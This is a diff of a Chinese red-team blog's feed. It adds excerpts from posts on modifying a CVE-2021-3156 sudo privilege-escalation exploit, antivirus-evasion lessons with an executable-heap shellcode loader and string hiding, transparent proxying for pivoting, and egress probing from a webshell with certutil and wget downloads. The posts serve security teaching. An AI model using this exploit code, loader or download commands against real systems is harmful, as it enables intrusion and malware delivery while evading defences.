style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>worker_processes 1; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>error_log logs/error.log error; # 日志级别 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>events { +</span></span><span style="display:flex;"><span> worker_connections 1024; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>http { +</span></span><span style="display:flex;"><span> server { +</span></span><span style="display:flex;"><span> listen 80; +</span></span><span style="display:flex;"><span> location / { +</span></span><span style="display:flex;"><span> content_by_lua_block { +</span></span><span style="display:flex;"><span> ngx.say(&#34;Hello,Rvn0xsy&#34;); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>当OpenResty环境以<code>nginx.conf</code>作为配置文件启动的话,访问网站会输出<code>Hello,Rvn0xsy</code>。</p>CVE-2021-3156 - Exploit修改https://payloads.online/archivers/2021-02-09/1/Tue, 09 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-09/1/<p>New-Exploit : <a href="https://github.com/Rvn0xsy/CVE-2021-3156-plus">https://github.com/Rvn0xsy/CVE-2021-3156-plus</a></p> <h2 id="0x01-为什么要修改">0x01 为什么要修改?</h2> <p>本人不擅长二进制,但是看了一下网上公开的Exploit,都需要输入一次密码才能够利用这个漏洞,还是不满足于一些实战场景,如果获得不到交互式Shell,那么用原有的Exploit就不能利用了。</p> <h2 id="0x02-linux-管道符">0x02 Linux 管道符</h2> @@ -873,7 +1673,41 @@ </p> <p>设置<code>-S</code>参数,可以直接通过管道符传递密码,那么也就是说,给Exploit增加这么一个参数就能在提权的时候不需要输入密码了,从而跳过交互,但前提还是需要用C语言模拟这个管道传递字符。</p> <h2 id="0x03-exploit分析">0x03 Exploit分析</h2> -<p>本文修改的提权Exploit 溢出点主要是在环境变量中,通过调用<code>execve</code>触发。</p>静态恶意代码逃逸(第十课)https://payloads.online/archivers/2021-02-08/1/Mon, 08 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-08/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +<p>本文修改的提权Exploit 溢出点主要是在环境变量中,通过调用<code>execve</code>触发。</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span><span style="color:#75715e">#include &lt;unistd.h&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> execve(<span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>pathname, char <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> argv[],char <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> envp[]); +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/af21b1ea-4f5f-11ec-b856-00d861bf4abb.png" alt="2021-02-10-02-44-51"> + +</p> +<p>在21行传入了argv,可以将这个数组添加一个元素,也就是等同于添加一个命令行参数:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">char</span><span style="color:#f92672">*</span> sudoedit_argv[] <span style="color:#f92672">=</span> { +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;sudoedit&#34;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;-S&#34;</span>, <span style="color:#75715e">// --stdin 非交互式 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#e6db74">&#34;-s&#34;</span>, +</span></span><span style="display:flex;"><span> buf, +</span></span><span style="display:flex;"><span> NULL}; +</span></span></code></pre></td></tr></table> +</div> +</div><p>紧接着,需要思考如何传入密码了。</p>静态恶意代码逃逸(第十课)https://payloads.online/archivers/2021-02-08/1/Mon, 08 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-08/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x01-uuid">0x01 UUID</h2> <p>通用唯一标识符(universally unique identifier, UUID)是一个128位的用于在计算机系统中以识别信息的数目。在Windows中也有使用GUID来标识唯一对象。 — 来源:<a href="https://en.wikipedia.org/wiki/Universally_unique_identifier">维基百科</a></p> <p>关于Windows中的GUID也等同于UUID,先看一下结构:</p> @@ -893,7 +1727,25 @@ </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> Data3; <span style="color:#75715e">// 2字节 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> Data4[<span style="color:#ae81ff">8</span>]; <span style="color:#75715e">// 8字节 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>} GUID; -</span></span></code></prWindows权限控制相关的防御与攻击技术https://payloads.online/archivers/2021-01-31/1/Sun, 31 Jan 2021 00:00:00 +0000https://payloads.online/archivers/2021-01-31/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p>总和一共16字节,16*8 = 128位。</p> +<h2 id="0x02-与uuid相关的windows-api">0x02 与UUID相关的Windows API</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>RPC_STATUS <span style="color:#a6e22e">UuidFromString</span>( +</span></span><span style="display:flex;"><span> RPC_CSTR StringUuid, +</span></span><span style="display:flex;"><span> UUID <span style="color:#f92672">*</span>Uuid +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><p>功能:将字符串UUID转换为UUID结构。</p>Windows权限控制相关的防御与攻击技术https://payloads.online/archivers/2021-01-31/1/Sun, 31 Jan 2021 00:00:00 +0000https://payloads.online/archivers/2021-01-31/1/<h2 id="0x00-前言">0x00 前言</h2> <p>近年来终端安全检测与响应的产品发展迅速,我们不得不意识到,安全是在一个循环中发展的,从人们意识到安全开始,大部分了解到层面都是病毒、木马,然后接着是浏览器相关的Web安全领域,最后又开始回到终端。这个议题我们通过了解Windows操作系统下的访问控制技术,站在攻防的不同角度去进行对抗,提升自身的知识储备,个人觉得这些知识适用于许多使用Windows操作系统的用户。</p> <h2 id="0x01-安全描述符security-descriptorssd">0X01 安全描述符(Security Descriptors,SD)</h2> <p>在Windows中,每一个安全对象实体都拥有一个安全描述符,安全描述符包含了被保护对象相关联的安全信息的数据结构,它的作用主要是为了给操作系统提供判断来访对象的权限。</p> @@ -919,7 +1771,26 @@ </span></span><span style="display:flex;"><span> +0x010 Group : Ptr64 Void # 指定对象的主组(SID) </span></span><span style="display:flex;"><span> +0x018 Sacl : Ptr64 _ACL # 系统访问控制列表 </span></span><span style="display:flex;"><span> +0x020 Dacl : Ptr64 _ACL # 自主访问控制列表 -</span></span></code></pr静态恶意代码逃逸(第九课)https://payloads.online/archivers/2020-11-29/2/Sun, 29 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-29/2/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="windows具体有哪些安全对象">Windows具体有哪些安全对象?</h3> +<ul> +<li>进程</li> +<li>线程</li> +<li>文件</li> +<li>服务</li> +<li>计划任务</li> +<li>互斥体</li> +<li>管道</li> +<li>油槽</li> +<li>文件共享</li> +<li>访问令牌</li> +<li>注册表</li> +<li>打印机</li> +<li>作业</li> +<li>&hellip;</li> +</ul> +<p>一般情况下,大部分用户接触更多的可能就是文件了,我们就以文件开始,文件对于我们去学习访问控制是最直观的。</p>静态恶意代码逃逸(第九课)https://payloads.online/archivers/2020-11-29/2/Sun, 29 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-29/2/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x01-数据执行保护dep">0x01 数据执行保护(DEP)</h2> <p>DEP(Data Execution Prevention)即“ 数据执行保护”,这是Windows的一项安全机制,主要用来防止病毒和其他安全威胁对系统造成破坏。 微软从Windows XP SP2引入了该技术,并一直延续到今天。</p> <h3 id="为什么要有dep">为什么要有DEP</h3> @@ -941,7 +1812,60 @@ </span></span><span style="display:flex;"><span>__in DWORD flOptions, </span></span><span style="display:flex;"><span>__in SIZE_T dwInitialSize, </span></span><span style="display:flex;"><span>__in SIZE_T dwMaximumSize ); -</span></span></code></pr静态恶意代码逃逸(第八课)https://payloads.online/archivers/2020-11-29/1/Sun, 29 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-29/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +</span></span></code></pre></td></tr></table> +</div> +</div><p>第一个参数<code>flOptions</code>用于修改如何在堆栈上执行各种操作。 +你可以设定<code>0</code>、<code>HEAP_NO_SERIALIZE</code>、<code>HEAP_GENERATE_EXCEPTIONS</code>、<code>HEAP_CREATE_ENABLE_EXECUTE</code>或者是这些标志的组合。</p> +<ul> +<li><code>HEAP_NO_SERIALIZE</code>:对堆的访问是非独占的,如果一个线程没有完成对堆的操作,其它线程也可以进程堆操作,这个开关是非常危险的,应尽量避免使用。</li> +<li><code>HEAP_GENERATE_EXCEPTIONS</code>:当堆分配内存失败时,会抛出异常。如果不设置,则返回NULL。</li> +<li><code>HEAP_CREATE_ENALBE_EXECUTE</code>:堆中存放的内容是可以执行的代码。如果不设置,意味着堆中存放的是不可执行的数据。</li> +</ul> +<p>看到<code>HEAP_CREATE_ENALBE_EXECUTE</code>相信很多人能够恍然大悟,我们的Shellcode可以存入这个辅助堆栈中,然后创建一个线程运行它即可。</p> +<h2 id="0x04-shellcode执行">0x04 Shellcode执行</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> shellcode[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;123&#34;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> HANDLE hHep <span style="color:#f92672">=</span> HeapCreate(HEAP_CREATE_ENABLE_EXECUTE <span style="color:#f92672">|</span> HEAP_ZERO_MEMORY, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> PVOID Mptr <span style="color:#f92672">=</span> HeapAlloc(hHep, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(shellcode)); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> RtlCopyMemory(Mptr, shellcode, <span style="color:#66d9ef">sizeof</span>(shellcode)); +</span></span><span style="display:flex;"><span> DWORD dwThreadId <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> HANDLE hThread <span style="color:#f92672">=</span> CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, <span style="color:#f92672">&amp;</span>dwThreadId); +</span></span><span style="display:flex;"><span> WaitForSingleObject(hThread, INFINITE); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Hello World!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>上方的例子中,我将shellcode替换为了其他字符串,因为我觉得shellcode混淆是另外一回事。</p>静态恶意代码逃逸(第八课)https://payloads.online/archivers/2020-11-29/1/Sun, 29 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-29/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x01-字符串">0x01 字符串</h2> <p>一般情况下,C/C++程序中的字符串常量会被硬编码到程序中(.data段,也就是数据段),尤其是全局变量最容易被定位到。</p> <p>例如:</p> @@ -967,7 +1891,38 @@ </span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;%s </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, global_string); </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>} -</span></span></code></prLinux透明代理在红队渗透中的应用https://payloads.online/archivers/2020-11-13/1/Fri, 13 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-13/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/a794ebcc-4f5f-11ec-b264-00d861bf4abb.png" alt="2020-11-29-15-31-54"> + +</p> +<p>如果编写的是一些敏感参数的工具,很容易会被提取出特征,例如lcx这款工具,它的参数如下:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>[Usage of Packet Transmit:] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>lcx -&lt;listen|tran|slave&gt; &lt;option&gt; [-log logfile] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[option:] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> -listen &lt;ConnectPort&gt; &lt;TransmitPort&gt; +</span></span><span style="display:flex;"><span> -tran&lt;ConnectPort&gt; &lt;TransmitHost&gt; &lt;TransmitPort&gt; +</span></span><span style="display:flex;"><span> -slave &lt;ConnectHost&gt; &lt;ConnectPort&gt; &lt;TransmitHost&gt;&lt;TransmitPort&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>其中,<code>-listen</code>、<code>-tran</code>、<code>-slave</code>非常敏感,一般常见程序不会高频使用这些参数名,因此落地被杀也是意料之中。</p>Linux透明代理在红队渗透中的应用https://payloads.online/archivers/2020-11-13/1/Fri, 13 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-13/1/<h2 id="0x00-前言">0x00 前言</h2> <p>决定写这篇文章是我解决了所有问题以后决定记录一下这个过程所写的,因此可能会忽略很多细节上的东西。</p> <ul> <li>问题一:打点的时候经常会被WAF封禁IP怎么办?</li> @@ -992,7 +1947,41 @@ <p>大家都知道,在Linux下常规的内网渗透需要使用一些如:<a href="https://github.com/haad/proxychains">proxychains</a>的工具实现指定的进程访问内网的资源,相当于给程序套了一层代理。</p> <p>它的实现原理如下:</p> <blockquote> -<p>ProxyChains is a UNIX program, that hooks network-related libc functions in dynamically linked programs via a preloaded DLL and redirects the connections through SOCKS4a/5 or HTTP proxies.</p>Web正向代理的思考https://payloads.online/archivers/2020-11-01/1/Sun, 01 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-01/1/<h2 id="0x01-背景假设">0x01 背景假设</h2> +<p>ProxyChains is a UNIX program, that hooks network-related libc functions in dynamically linked programs via a preloaded DLL and redirects the connections through SOCKS4a/5 or HTTP proxies.</p> +</blockquote> +<p>关于<code>LD_PRELOAD</code>之前有写过相关文章:<a href="https://payloads.online/archivers/2020-01-01/1">Linux权限维持之LD_PRELOAD</a></p> +<p>它的缺点却是每个命令必须要在前面加上<code>proxychains</code>,这样<code>Bash shell</code>有时候可能不会正常工作给我们进行参数提示。</p> +<p>我要做的就是使用<code>iptables</code>实现透明代理,让我的机器所有与目标地址相关的流量都导入<code>socks5</code>代理端口。</p> +<p>题外话一,关闭<code>proxychains</code>的输出信息可以将<code>/etc/proxychains.conf</code>文件中的<code>quiet_mode</code>前面的<code>#</code>去除。</p> +<p> + <img src="https://images.payloads.online/a555ab4e-4f5f-11ec-885e-00d861bf4abb.png" alt="2020-11-13-20-18-48"> + +</p> +<p>题外话二,设置metasploit全局代理的方法:</p> +<p> + <img src="https://images.payloads.online/a5aea60e-4f5f-11ec-89ed-00d861bf4abb.png" alt="2020-11-13-22-15-29"> + +</p> +<p>可以将metasploit全局变量<code>proxies</code>的值进行设置来使得后续所有的流量都经过代理发出,这样能够达到内网穿透的效果。</p> +<blockquote> +<p>图中演示了2层代理的设置</p> +</blockquote> +<h2 id="0x02-linux下的iptables防火墙">0x02 Linux下的iptables防火墙</h2> +<p><code>iptables</code>是一个用户空间实用程序,它允许系统管理员配置Linux内核防火墙的IP数据包过滤器规则,这些规则实现为不同的<code>Netfilter</code>模块。筛选器组织在不同的表中,这些表包含有关如何处理网络流量数据包的规则链。当前,不同的内核模块和程序用于不同的协议。<code>iptables</code>适用于IPv4,<code>ip6tables</code>适用于IPv6,<code>arptables</code>适用于ARP,而<code>ebtables</code>适用于以太网帧。</p> +<p>学习<code>iptables</code>有一点门槛,需要对表、规则链、动作等关系有一定的了解,这里不继续铺垫,可以自行搜索关于<code>iptables</code>的文章。</p> +<h3 id="流量导入socks代理">流量导入Socks代理</h3> +<p>通过将规则插入到<code>NAT</code>表的<code>PREROUTING</code>链中,可以轻松地重定向传入流量。</p> +<p>例如:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 +</span></span></code></pre></td></tr></table> +</div> +</div><blockquote> +<p>所有访问eth0网卡80端口的流量,都会被重定向到8080端口。</p>Web正向代理的思考https://payloads.online/archivers/2020-11-01/1/Sun, 01 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-01/1/<h2 id="0x01-背景假设">0x01 背景假设</h2> <p>获取Webshell后,但是机器不出网(DNS、TCP、UDP)等常规端口都进行了尝试。</p> <p>不出网的解释:内部的Webshell服务器无法连接互联网。</p> <p>尝试过的方案有:</p> @@ -1009,7 +1998,22 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 -</span></code></pr静态恶意代码逃逸(第七课)https://payloads.online/archivers/2020-10-23/1/Fri, 23 Oct 2020 00:00:00 +0000https://payloads.online/archivers/2020-10-23/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>title 出网探测方式 +</span></span><span style="display:flex;"><span>state TCP { +</span></span><span style="display:flex;"><span>WindowsHttp : certutil -f -split -urlcache http://domain/com +</span></span><span style="display:flex;"><span>LinuxHttp: wget &lt;URL&gt; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span>state UDP{ +</span></span><span style="display:flex;"><span>DNS : nslookup domain.com +</span></span><span style="display:flex;"><span>} 